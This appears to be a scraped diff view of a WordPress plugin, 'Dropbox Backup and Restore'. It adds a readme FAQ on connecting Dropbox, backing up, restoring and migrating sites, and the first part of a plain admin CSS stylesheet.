+ please, feel free to contact your own system administrator (admins, support etc.), because this type of errors come from your server.<br />
119
+
120
+ **The timely backup protects from viruses.**
121
+
122
+
123
+
124
+ == Frequently Asked Questions ==
125
+
126
+ = Where can I get my app key & secret? =
127
+
128
+ You can get an API app key and secret by creating an app on the <a href="https://www.dropbox.com/developers/apps/create?app_type_checked=api" target="_blank">app creation page</a>.
129
+ Once you have an app created, the app key and secret will be available on the app's page on the <a href="https://www.dropbox.com/developers/apps" target="_blank">App Console</a>.
130
+ Note that Drop-ins have app keys but no app secrets.
131
+
132
+ = I clicked on the "Backup to Dropbox" button, but nothing happens. What's wrong? =
133
+
134
+ Before you try to make a backup of your website to dropbox, please make sure, that you have created the connection to dropbox. Also you must be sure, that you are connected to dropbox.<br />
135
+ To do this, please, open the "Settings" block in your "Dropbox backup and restore" plugin. There you must see your Dropbox UID (User ID on Dropbox). If you didn't see your Dropbox connection App UID - your Dropbox plugin is NOT CONNECTED to your Dropbox and you can't do the backup of your website.<br />
136
+ So please, at first connect yourself to Dropbox and then, try to make your backup to dropbox.
137
+
138
+ = How to restore my site from dropbox backup? =
139
+
140
+ - First of all, install the Dropbox backup & restore plugin;<br />
141
+ - In Dropbox backup & restore plugin check your connection to dropbox as "dropbox app" or as connection with use of app key & app secret;
142
+
143
+
144
+ = My web page completely crashed and not available. How can I restore my web page from dropbox backup? =
145
+
146
+ Just login or Register at WPAdm www.wpadm.com If your web page wasn't added and verified - just do it. Add your domain and verified this on WPAdm account.
147
+
148
+ You must see all of your backups, that you have made.
149
+
150
+ = Should I upgrade my old version of Dropbox Backup and Restore plugin? =
151
+
152
+ Yes. We recommended to update or upgrade to a newest versions.
153
+
154
+ = How can I manage my backups? =
155
+
156
+ Manage of multiple back ups is possible from your account on webpage-backup.com
157
+
158
+ = I use multisite WordPress and I would like to manage my backups from one place. How can I do that? =
159
+
160
+ Multisite WP can be supported too, but you have to login in your account at webpage-backup.com
161
+
162
+ = Can I use the Dropbox Backup and Restore plugin to clone my website? =
163
+
164
+ Yes. If you have some back up, created with our Dropbox Backup and Restore plugin, then you can use it for migration or doing some clone to another place (server / web hosting).
165
+
166
+ = I didn't see my back up at my Dropbox. Why? How can I find it at my Dropbox? =
167
+
168
+ Simple check your app key and app secret, that you use it from a correct app do you created before you start make a backup.
169
+
170
+ = Is it possible to migrate my website with your Dropbox back up tool? =
171
+
172
+ Many people stay us this question and our answer is - YES! It' good possibility to use our back up plugin specially for migration of webpages. Also you can migrate your website locally. If you make a local backup, then you can download it to your PC, upload to another place and make recovery there.
173
+
174
+ = How to make a recovery of my webpage? =
175
+
176
+ Dropbox Backup and Restore plugin work autonomously. In case, if your page not available, you may use www.webpage-backup.com to recovery your webpage from backup.
177
+
178
+ = I want schedule backup. How can I schedule backup of my website? =
179
+
180
+ To schedule backup of your webpage, you may use an account at www.webpage-backup.com to schedule backup.
181
+
182
+ = Can I make a schedule backup of my multisite WordPress? =
183
+
184
+ Please, see the previous question "I want schedule backup. How can I schedule backup of my website?".
185
+ Generally - YES, you can create a scheduled backup, but you may sign in to account at www.webpage-backup.com to make a scheduled backup.
186
+
187
+ = Should I register to make a back up of my site? =
188
+
189
+ Our plugin for back up is completely autonomous plugin for back up, so you don't need to register to make a back up of your site.
190
+
191
+ = How can I manually restore my website from one place to another? =
192
+
193
+ You can restore your website on another place with two ways:<br />
194
+ * manually website restoration<br />
195
+ * automatically website restoration<br />
196
+
197
+ For automatically website restoration you may need an account at webpage-backup.com
198
+
199
+ = Is it possible to duplicate my website like Duplicator Plugin do that? =
200
+
201
+ Backups & Restoring plugin can Duplicate more simply as Duplicator.<br />
202
+ If you want to duplicate your website, you may backup it first at some storage (for example Dropbox or Amazon, or just on your FTP). You can start duplicate website if the backup process was finished successfully. If isn't - don't try to duplicate, because wrong or incorrect backup can crash your website during duplicating.
203
+
204
+ = Duplicate and clone is the same thing? =
205
+
206
+ It has distinction in each of the duplicate and clone plugins. In both cases, as with duplicate and also with clone, this is in fact a website copy.
207
+
208
+ = How can I manage or coordinate my duplicate website? =
209
+
210
+ To managing your duplicate website you need to have an account at webpage-backup.com. So, you will see all of target (original) and source (duplicate) websites. At your account on webpage-backup.com you have a possibility to make one duplicate from another duplicate website, that was duplicated before.
211
+
212
+ = What does make your "duplicate" plugin, which doesn't make another (e.g. Duplicator plugin)? =
213
+
214
+ Duplicating is a very complex process. We will explain the website duplicate in the next our explanations about "duplicate website".
215
+
216
+ = Is it possible to make an Incremental Backup with Dropbox Backup & Restore plugin? =
217
+
218
+ Incremental backup expect many of our users. Incremental backup can help solve many problems for the implementation of the backup in complex systems. Create an incremental backup, that's what we're working. In the next versions it will be also possible to create incremental backups for websites.<br /><br />
219
+ (PS: Autor german language)<br />
220
+ Inkrementelle Sicherung (Incremental backup) erwarten viele unser Nutzer. Inkrementelle Sicherung (Incremental backup) kann helfen viele Probleme für die Durchführung der Sicherung in komplexen Systemen zu lösen. Erstellung eines inkrementelles Backup, das ist, was wir eben noch planen zu implementieren in der Dropbox Backup & Restore Plugin. In den Zukünftigen Versionen wird es auch möglich, inkrementelle Backups zu erstellen.<br /><br />
221
+
222
+ We must understand that when you use incremental backups perform operations such as website clone (clons creating), multisite clone, migrate of websites or website duplicate will be difficult, but possible.
223
+
224
+ = Just to do a MySQL backup. How to do that? =
225
+
226
+ In this version of plugin supported a MySQL backup (database backup or simple "db backup") together with a filesystem backup. To do a mysql backup, you can do it with a file system or just use another version of our plugin.<br />
227
+ The version for mysql backup (DB Backup) is available due control panel at http://www.webpage-backup.com
228
+
229
+ = We want to make an SCP Backup from our rackspace (Full Rackspace Backup). For this operation we would like to use your Dropbox plugin. =
230
+
231
+ Ok, if you want to use an SCP Backup, please, wait for some versions of this plugin over their, and we will make an scp backup for you.
232
+
233
+ = FTP Backup? =
234
+
235
+ The name of this plugin is "Dropbox" Backup and Restore. From control panel at http://www.webpage-backup.com you can do also an FTP Backup. Please, checkout an FTP Backup so.
236
+
237
+ = Is dropbox backup and restoration plugin really free? =
238
+
239
+ Yes, dropbox backup and dropbox restoration are free with plugin "Dropbox Backup and Restore"!
240
+
241
+ = Whether I need to create an account on the wpadm.com? =
242
+
243
+ You shouldn't create an account on the www.wpadm.com, but you are able to do it since further it can really help you at restoration time of your site.
244
+
245
+ = Whether there are wordpress templates of my web site in a full backup archive? =
246
+
247
+ Full backup include templates of your site.
248
+
249
+ = I try to create a dropbox backup. I enter the app key and app secret. Then I was asked for permission to access dropbox, so I hit "allow" and then I'm given an "Internal server error".<br /> What is causing this and how might I fix it? =
250
+
251
+ Please, just wait for some time and try again later.<br />
252
+ We know this issue about "Internal Server Error" on Dropbox, that comes from the Dropbox servers. Best thing to do is be patient and give it another try.
253
+ We cannot recommended you more, than just had to wait it out and problem went away after a while.
254
+
255
+ = I want to move my website to the new hosting/server. How can I do this? =
256
+
257
+ Sure, it is possible to use this Dropbox Backup & Restore plugin, but we suggest to try [cloner](https://wordpress.org/plugins/duplicator-clone/). With it you can much easily clone, migrate or easy duplicate your website from one hosting or server to another.
258
+
259
+ = My website has a very BIG files, like photos, videos and so on. If I do my backup to dropbox it's return this message "Maximum execution time of XXX seconds exceeded" and sometimes some other messages while uploading to dropbox. I've tried to do my backups with some of known WordPress plugins like "BackWPup", "UpdraftPlus Backup and Restoration", "WordPress Backup to Dropbox", "BackUpWordPress" but it's all without success. Can you please advise me after all these failures, why I have to trust in "Dropbox Backup & Restore" plugin? =
260
+
261
+ OK, this is a complex question, but we'll try to answer this by comparing of "BackWPup", "UpdraftPlus Backup and Restoration", "WordPress Backup to Dropbox", "BackUpWordPress" with "Dropbox backup & restore" plugin.<br />
262
+ All of this backup plugins like "Dropbox backup & restore", "BackWPup", "UpdraftPlus Backup and Restoration", "WordPress Backup to Dropbox" or "BackUpWordPress" has functionality not only for a backup, but also for restoration (restore or restoring process for website). There are a lot of parameters which are required to be compared.
263
+
264
+
265
+ == Changelog ==
266
+
267
+ Please, keep your Dropbox Backup and Restore plugin up-to-date.
268
+
269
+ == Upgrade Notice ==
270
+
271
+ Please, keep your Dropbox Backup and Restore plugin up-to-date.
272
+
273
+ == Screenshots ==
274
+
275
+ = Step-by-step & HOWTOs in Dropbox Backup and Restore plugin =
276
+
277
+ 1. **Main window of Dropbox Full Backup plugin.** Dropbox Backup and Restore plugin window after installation and activation.
278
+ 2. To open the main window of the plug-in, click on the item "**Dropbox Full Backup**" in main menu of your WordPress installation. WordPress menu in admin area.
279
+ 3. For **local backups** with Dropbox Full Backup plugin (saving of backups locally on server or shared hosting of your site), you do not need to make a connection to dropbox. Therefore, for a local backup is unnecessary to make any settings changes. The Local backup will work.
280
+ 4. The **Settings block of Dropbox Backup and Restore** plugin. Fill out App key and App secret to get the dropbox plugin connected with your dropbox account.<br />
281
+ **Make sure**, you use the right App key and App secret pair and this pair correspond to your right dropbox application.<br />
282
+ **This is one of the most common mistakes of our users!**
283
+ 5. **Don't forget** to click on **"Connect"** button to get the dropbox plugin connected with your dropbox account.
284
+ 6. Click **"Create Dropbox Backup"** to create backup and upload this to your dropbox account using your pair of App key and App secret.
285
+ 7. Click **"Create Local Backup"** to create local backup. The local backup will be saved locally at your shared hosting / server.
286
+ 8. Table **list of backups** (local backups and dropbox backups), that was created with Dropbox Full Backup and Restore plugin.
287
+ 9. Screen9
288
+ 10. Screen10
289
+
290
+
template/css/admin-style-wpadm.css ADDED
@@ -0,0 +1,992 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+
2
+ .list-dropbox-backup-pro {
3
+ margin-top:10px;
4
+ margin-bottom:0;
5
+ }
6
+ .list-dropbox-backup-pro li {
7
+ margin-bottom: 0;
8
+ font-size:14px;
9
+ margin-left:35px;
10
+ }
11
+ .list-dropbox-backup-pro .text {
12
+ line-height: 25px;
13
+ }
14
+ .image-dropbox-pro {
15
+ width: 183px;
16
+ height: 187px;
17
+ border:2px solid #ddd;
18
+ cursor: pointer;
19
+ text-align: center;
20
+ float:left;
21
+ }
22
+
23
+
24
+ .folder-class {
25
+ text-align: left;
26
+ font-size: 14px;
27
+ font-weight: 400;
28
+ color:#444444;
29
+ }
30
+ .folder-class .first, .folder-class .second {
31
+ margin-left:3px;
32
+ }
33
+ .folder-class .first:after, .folder-class .second:after {
34
+ content:"/";
35
+ }
36
+
37
+ .backup_button {
38
+ -moz-box-shadow:inset 0px 1px 0px 0px #9fb4f2;
39
+ -webkit-box-shadow:inset 0px 1px 0px 0px #9fb4f2;
40
+ box-shadow:inset 0px 1px 0px 0px #9fb4f2;
41
+ background:-webkit-gradient(linear, left top, left bottom, color-stop(0.05, #7892c2), color-stop(1, #476e9e));
42
+ background:-moz-linear-gradient(top, #7892c2 5%, #476e9e 100%);
43
+ background:-webkit-linear-gradient(top, #7892c2 5%, #476e9e 100%);
44
+ background:-o-linear-gradient(top, #7892c2 5%, #476e9e 100%);
45
+ background:-ms-linear-gradient(top, #7892c2 5%, #476e9e 100%);
46
+ background:linear-gradient(to bottom, #7892c2 5%, #476e9e 100%);
47
+ filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#7892c2', endColorstr='#476e9e',GradientType=0);
48
+ background-color:#7892c2;
49
+ -moz-border-radius:3px;
50
+ -webkit-border-radius:3px;
51
+ border-radius:3px;
52
+ border:1px solid #4e6096;
53
+ display:inline-block;
54
+ cursor:pointer;
55
+ color:#ffffff;
56
+ font-family:Arial;
57
+ font-size:17px;
58
+ font-weight:bold;
59
+ padding:10px 20px;
60
+ text-decoration:none;
61
+ text-shadow:0px 1px 0px #283966;
62
+ }
63
+ .backup_button:hover {
64
+ background:-webkit-gradient(linear, left top, left bottom, color-stop(0.05, #476e9e), color-stop(1, #7892c2));
65
+ background:-moz-linear-gradient(top, #476e9e 5%, #7892c2 100%);
66
+ background:-webkit-linear-gradient(top, #476e9e 5%, #7892c2 100%);
67
+ background:-o-linear-gradient(top, #476e9e 5%, #7892c2 100%);
68
+ background:-ms-linear-gradient(top, #476e9e 5%, #7892c2 100%);
69
+ background:linear-gradient(to bottom, #476e9e 5%, #7892c2 100%);
70
+ filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#476e9e', endColorstr='#7892c2',GradientType=0);
71
+ background-color:#476e9e;
72
+ color:#fff;
73
+ }
74
+ .backup_button:active {
75
+ position:relative;
76
+ top:1px;
77
+ }
78
+ .form-counter {
79
+ background: #0096d6;
80
+ border: 1px solid #fff;
81
+ width: 95%;
82
+ margin-bottom: 20px;
83
+ margin-top: 20px;
84
+ color:#fff;
85
+ }
86
+ .log-dropbox {
87
+ background-repeat: no-repeat; background-position:center;
88
+ background-color: #fff;
89
+ height: 211px;
90
+ width: 170px;
91
+ float: left;
92
+ margin-top:-4px;
93
+ border: 1px solid #47a3ec;
94
+ border-radius:3px;
95
+ }
96
+ .block-content {
97
+ background-color: #fff;
98
+ border: 1px solid #e8e8e8;
99
+ padding: 10px;
100
+ }
101
+ #logs-form, #reviews-dropbox, #action-buttons {
102
+ float:left;
103
+ }
104
+ #logs-form, #reviews-dropbox {
105
+ padding: 10px; background: #ffffc8; border: 1px solid #0096d6; position: relative; height: 100px; text-align: center;
106
+ }
107
+ #reviews-dropbox {
108
+ float: right;
109
+ height: 150px;
110
+ width: 25%;
111
+ }
112
+ #action-buttons {
113
+ margin-right: 10px;
114
+ float:left;
115
+ margin-top:130px;
116
+ }
117
+ .form-field {
118
+ padding-top: 0px;
119
+ margin-bottom: 5px;
120
+ float: left;
121
+ margin-left:5px;
122
+ }
123
+
124
+ .title-reviews {
125
+ font-size: 20px;
126
+ margin-bottom: 24px;
127
+ margin-top:23px;
128
+ }
129
+ .desc-reviews {
130
+ font-size: 16px;
131
+ margin-top:10px;
132
+ margin-bottom: 20px;
133
+ }
134
+
135
+ .btn-danger {
136
+ background-color: #da4f49;
137
+ background-image: linear-gradient(to bottom, #ee5f5b, #bd362f);
138
+ background-repeat: repeat-x;
139
+ border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);
140
+ color: #fff;
141
+ text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);
142
+ border-radius: 3px;
143
+ font-size: 11.9px;
144
+ padding: 2px 10px;
145
+ cursor: pointer;
146
+ }
147
+ .btn-orange {
148
+ background-color: #f48326;
149
+ background-image: linear-gradient(to bottom, #cc5d00, #cc5d00);
150
+ background-repeat: repeat-x;
151
+ border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);
152
+ color: #fff;
153
+ text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);
154
+ border-radius: 3px;
155
+ font-size: 11.9px;
156
+ padding: 2px 10px;
157
+ cursor: pointer;
158
+ }
159
+ .btn-orange:hover {
160
+ color:#fff;
161
+ background-color: #f38325 ;
162
+ background-position: 0 -30px;
163
+ text-decoration: none;
164
+ transition: background-position 0.1s linear 0s;
165
+ }
166
+ .desc-wpadm {
167
+ clear: both;
168
+ color: #fff;
169
+ font-size: 13px;
170
+ /*font-style: italic;*/
171
+ }
172
+ .btn-danger:hover {
173
+ color:#fff;
174
+ background-color: #db362f ;
175
+ background-position: 0 -30px;
176
+ text-decoration: none;
177
+ transition: background-position 0.1s linear 0s;
178
+ }
179
+
180
+ .form-counter table tr td{
181
+ padding: 10px;
182
+ }
183
+ .color-picker {
184
+ margin:10px;
185
+ }
186
+ .stat_title {
187
+ text-align: center;
188
+ font-size: 24px;
189
+ margin-top: 20px;
190
+ }
191
+ .cfTabsContainer {
192
+ background-color: #0096d6;
193
+ overflow: hidden;
194
+ width:95%;
195
+ padding: 15px;
196
+ margin-bottom: 40px;
197
+ margin-top: 17px;
198
+ -webkit-font-smoothing: antialiased;
199
+ }
200
+
201
+
202
+ .button-wpadm {
203
+ background: none repeat scroll 0 0 #00d2b8;
204
+ border-color: #cdcdcd;
205
+ box-shadow: 0 1px 0 #00d2b8 inset, 0 1px 0 rgba(0, 0, 0, 0.08);
206
+ color: #fff;
207
+ vertical-align: top;
208
+ border-radius: 3px;
209
+ border-style: solid;
210
+ border-width: 1px;
211
+ box-sizing: border-box;
212
+ cursor: pointer;
213
+ display: inline-block;
214
+ font-size: 13px;
215
+ height: 28px;
216
+ line-height: 26px;
217
+ margin: 0;
218
+ padding: 0 10px 1px;
219
+ text-decoration: none;
220
+ white-space: nowrap;
221
+ }
222
+ .wpadm-info {
223
+ font-size: 15px;
224
+ width: 30%;
225
+ margin-top:10px;
226
+ margin-left: 20px;
227
+ margin-bottom: 20px;
228
+ border-left: 1px solid #fff;
229
+ padding-left:20px;
230
+ padding-top: 20px;
231
+ height:200px;
232
+ }
233
+ .wpadm-info-title {
234
+ text-align:center;
235
+ padding:5px;
236
+ color:#fff;
237
+ font-size:20px;
238
+ }
239
+ .wpadm-registr-info {
240
+ width: 65%;
241
+ }
242
+ .wpadm-registr-info label {
243
+ color:#fff;
244
+ }
245
+ .wpadm-plugins-info {
246
+ width: 95%;
247
+ }
248
+ .services-info {
249
+ background: #fff; width: 95%; margin-top: 20px;
250
+ }
251
+ .title-services {
252
+ text-align: center; font-size: 20px; font-weight: 800; padding-bottom: 30px; padding-top: 20px;
253
+ }
254
+
255
+ .tmpl_line_body {
256
+ float: left;
257
+ margin: 0;
258
+ padding: 0;
259
+ position: relative;
260
+ width: 100%;
261
+ }
262
+ .wpadm-info-auth {
263
+ font-size: 11px;
264
+ padding-left:20px;
265
+ height:30px;
266
+ color:#fff;
267
+ margin-top: -5px;
268
+ }
269
+ #header_navigation_line {
270
+ background-color: #21759b;
271
+ background-image: linear-gradient(to bottom, #2a95c5, #21759b);
272
+ box-shadow: 0 2px 7px 2px rgba(50, 50, 50, 0.5);
273
+ height: 68px;
274
+ left: 0;
275
+ top: 0;
276
+ z-index: 1000;
277
+ }
278
+ #header_navigation_line #main_menu ul li {
279
+ display: inline-block;
280
+ float: none;
281
+ font-size: 14px;
282
+ font-weight: bold;
283
+ list-style: outside none none;
284
+ margin: 0;
285
+ padding: 0;
286
+ text-shadow: 0 1px 0 rgba(0, 0, 0, 0.1);
287
+ }
288
+ .inline-right {
289
+ float:right;
290
+ }
291
+ .inline {
292
+ float:left;
293
+ }
294
+ .inline-right, .inline {
295
+ margin-top:10px;
296
+ margin-left:10px;
297
+ }
298
+ #header_navigation_line #main_menu ul li a {
299
+ background: -moz-linear-gradient(center top , #2e9ed2 5%, #21749b 100%) repeat scroll 0 0 #2e9ed2;
300
+ border: 1px solid #1b5f7f;
301
+ border-radius: 3px;
302
+ box-shadow: 1px 1px 0 0 #78c9e6 inset;
303
+ color: #dddddd;
304
+ display: inline-block;
305
+ float: left;
306
+ height: 43px;
307
+ line-height: 16px;
308
+ margin: 0 2px 0 0;
309
+ overflow: hidden;
310
+ padding: 5px 0;
311
+ text-decoration: none;
312
+ width: 90px;
313
+ }
314
+ #header_navigation_line #main_menu ul li:hover a {
315
+ background-image: linear-gradient(to bottom, #2fb1e5, #22759c);
316
+ color: #fff;
317
+ }
318
+ #header_navigation_line #main_menu {
319
+ float: left;
320
+ margin: 6px 0 0;
321
+ width: 100%;
322
+ }
323
+ #header_navigation_line #logo {
324
+ float: left;
325
+ left: 0;
326
+ position: absolute;
327
+ top: 9px;
328
+ width: auto;
329
+ }
330
+ #header_navigation_line #main_menu ul {
331
+ float: left;
332
+ list-style: outside none none;
333
+ margin: 0 0 0 20px;
334
+ padding: 0;
335
+ text-align: center;
336
+ width: 100%;
337
+ }
338
+ #header_navigation_line #main_menu ul li .nav_icon {
339
+ float: left;
340
+ height: 24px;
341
+ margin: 0;
342
+ padding: 0 0 3px;
343
+ width: 100%;
344
+ }
345
+ #header_navigation_line #main_menu ul li.active a, #header_navigation_line #main_menu ul li a:active {
346
+ background-image: linear-gradient(to bottom, #2cc4f5, #228bb4);
347
+ border: 1px solid #fff;
348
+ box-shadow: 0 1px 0 rgba(95, 157, 186, 0.6);
349
+ color: #fff;
350
+ }
351
+ .clear {
352
+ clear:both;
353
+ }
354
+ .plugins-info {
355
+ width:320px;
356
+ }
357
+ .plugin-box {
358
+ background: #0096d6;
359
+ border: 1px solid #e5e5e5;
360
+ box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
361
+ min-width: 255px;
362
+ position: relative;
363
+ line-height: 1;
364
+ margin-bottom: 20px;
365
+ padding: 0;
366
+ }
367
+
368
+ .plugins-info-content {
369
+ display:none;
370
+ border-top: 1px solid #fff;
371
+ margin-top:8px;
372
+ padding-top: 7px;
373
+ }
374
+ h3.plugins-title {
375
+ font-size: 14px;
376
+ line-height: 1.4;
377
+ margin: 0;
378
+ }
379
+ .plugins-title a {
380
+ color:#fff;
381
+ text-decoration: none;
382
+
383
+ }
384
+ .wpadm-registr-info, .wpadm-info, .wpadm-info-auth {
385
+ float:left;
386
+ color:#fff;
387
+ }
388
+ .button-wpadm:hover {
389
+ border-color:#cdcdcd;
390
+ background-color: #009583;
391
+ }
392
+ .wpadm-red:hover {
393
+ border-color:#737373 ;
394
+ background-color: #ff706c;
395
+ }
396
+ .wpadm-red {
397
+ background: none repeat scroll 0 0 #f21111;
398
+ border-color: #c7c6ce;
399
+ box-shadow: 0 1px 0 #ff2c26 inset, 0 1px 0 rgba(0, 0, 0, 0.08);
400
+ }
401
+ .info-detail {
402
+ background:#bee7e7;
403
+ }
404
+ .table {
405
+ margin:0px;padding:0px;
406
+ width:100%;
407
+ border:0px;
408
+ border-collapse: collapse;
409
+ border-spacing: 0;
410
+ width:100%;
411
+ height:100%;
412
+ border: 1px solid #b7c6ff;
413
+ border-radius: 3px;
414
+ margin-top: 60px;
415
+
416
+ }
417
+ .table th {
418
+ padding: 7px;
419
+ background-color:#dde4ff;
420
+ font-size:16px;
421
+
422
+ }
423
+ .title-logs, .title-status {
424
+ margin-bottom: 10px;
425
+ }
426
+ .help-key-secret {
427
+ font-size: 11px;
428
+ text-align: right;
429
+ color:#fff;
430
+ cursor: pointer;
431
+ }
432
+ .help-key-secret:hover {
433
+ color:#fff;
434
+ text-decoration:underline;
435
+ }
436
+ #log-backup div {
437
+ font-size:12px;
438
+ }
439
+ .table td {
440
+ background: #fff;
441
+ font-size: 12px;
442
+ padding: 5px 0;
443
+ border-bottom:1px solid #b7c6ff;
444
+ text-align: center;
445
+ }
446
+ .info-path td {
447
+ font-size: 11px;
448
+ padding:0px;
449
+ }
450
+ .table tr:last td {
451
+
452
+ border-bottom: 0px;
453
+ }
454
+ .header-table {
455
+ font-size:20px;
456
+ }
457
+
458
+ .stat {
459
+ width: 200px;
460
+ }
461
+
462
+ .w1{
463
+ width:5%;
464
+ }
465
+ .w2{
466
+ width:13%;
467
+ }
468
+ .w3{
469
+ width:7%;
470
+ }
471
+ .table-stat-moovdiv {
472
+ background: none repeat scroll 0 0 #FFFFFF;
473
+ border-spacing: 0;
474
+ box-shadow: 0 4px 4px rgba(0, 0, 0, 0.3);
475
+ left: 0px;
476
+ margin-top: 0;
477
+ padding: 10px 15px;
478
+ top: 0px;
479
+ width: 400px;
480
+ }
481
+
482
+ .table-stat-moovdiv tr td{
483
+ border-right: 0px;
484
+ margin-bottom: 1px;
485
+ margin-top: 1px;
486
+ padding-bottom: 1px;
487
+ padding-top: 1px;
488
+ border-bottom:1px solid #D6D6D6;
489
+ padding: 5px;
490
+ }
491
+
492
+ #page_item {
493
+ margin-bottom:3px;
494
+ float:left;
495
+ }
496
+ .block-export {
497
+ float: right;
498
+ margin-right: 20px;
499
+ }
500
+ .info {
501
+ width: 70%;
502
+ border: 0;
503
+ }
504
+ .setting-checkbox {
505
+ padding-left: 5px;margin-top: 5px;
506
+ }
507
+ .form-help-send-error input[type="text"], .form-help-send-error input[type="text"] {
508
+ padding: 0px;
509
+ border: 1px solid #999;
510
+ box-shadow:0px;
511
+ font-size: 12px;
512
+ height: 24px;
513
+ width: 250px;
514
+ }
515
+
516
+ .form-help-send-error, .form-help-mail-response {
517
+ float:left;
518
+ }
519
+ .form-help-mail-response .button-description {
520
+ text-align: center;
521
+ }
522
+ .show-includes {
523
+ text-align: left;
524
+ margin-left:20px;
525
+ margin-right:20px;
526
+ background: #fff;
527
+ padding: 20px;
528
+ }
529
+ #sent-error-report {
530
+ background: #fff;
531
+ width: 400px;
532
+ height: 200px;
533
+ text-align: center;
534
+ border-radius:4px;
535
+ border: 2px solid #00d2b8;
536
+ position: relative;
537
+ }
538
+ #sent-error-report .text-view {
539
+ text-align: center;
540
+ font-size: 20px;
541
+ padding-top: 50px;
542
+ line-height: 27px;
543
+ margin-bottom: 30px;
544
+ }
545
+ #sent-error-report .button-sent-report .button-wpadm {
546
+ padding: 1px 20px;
547
+ height: auto;
548
+ }
549
+ #sent-error-report .button-sent-report {
550
+ position: absolute;
551
+ bottom:0px;
552
+ padding-bottom: 30px;
553
+ width: 100%;
554
+ }
555
+
556
+ .show-includes input.input-folder[type="checkbox"] + label {
557
+ font: 18px bold;
558
+ color: #444;
559
+ cursor: pointer;
560
+ }
561
+ .show-includes input.input-folder[type="checkbox"] + label::before {
562
+ content: "";
563
+ display: inline-block;
564
+ height: 15px;
565
+ width: 18px;
566
+ margin: 0 5px 0 0;
567
+ background-image: url(folder.png);
568
+ }
569
+ .loading-img {
570
+ text-align: center;
571
+ height: 23px;
572
+ margin: 0 auto;
573
+ }
574
+ .show-includes input.checkbox-send[type="checkbox"] {
575
+ margin-top:0px;
576
+ }
577
+ .show-includes input.input-folder[type="checkbox"]:checked + label::before {
578
+ background-image: url(icon-folder-open.gif);
579
+ }
580
+ .show-includes input.input-folder[type="checkbox"]:checked:disabled + label::before {
581
+ background-image: url(icon-folder-open.gif);
582
+ }
583
+ .show-includes input.input-folder[type="checkbox"] {
584
+ display:none;
585
+ }
586
+ .tree-includes {
587
+ margin-left: 25px;
588
+ }
589
+
590
+ .form-help-mail-response {
591
+ margin-left: 20px;
592
